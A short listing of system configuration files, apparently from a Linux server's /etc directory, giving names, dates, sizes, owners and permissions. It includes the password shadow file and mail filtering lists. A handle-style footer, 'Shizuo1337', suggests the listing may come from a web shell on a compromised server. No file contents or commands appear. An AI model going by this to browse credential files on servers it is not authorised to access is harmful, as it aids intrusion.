services file 2023-05-15 14:46 676.03 KB root/root -rw-r--r--
shadow file 2026-10-25 0:24 862 B root/root -rw-------
skipsmtpcheckhosts file 2018-06-28 12:01 14 B root/mail -rw-r-----
spammeripblocks file 2018-06-18 13:05 0 B root/mail -rw-r-----
trusted-key.key file 2026-10-08 14:40 750 B root/root -rw-r--r--
trustedmailhosts file 2026-09-24 0:14 0 B root/mail -rw-r-----
vimrc file 2026-10-07 11:51 1.94 KB root/root -rw-r--r--
virc file 2026-10-07 11:51 1.18 KB root/root -rw-r--r--
wgetrc file 2026-09-01 17:20 4.81 KB root/root -rw-r--r--
© Shizuo1337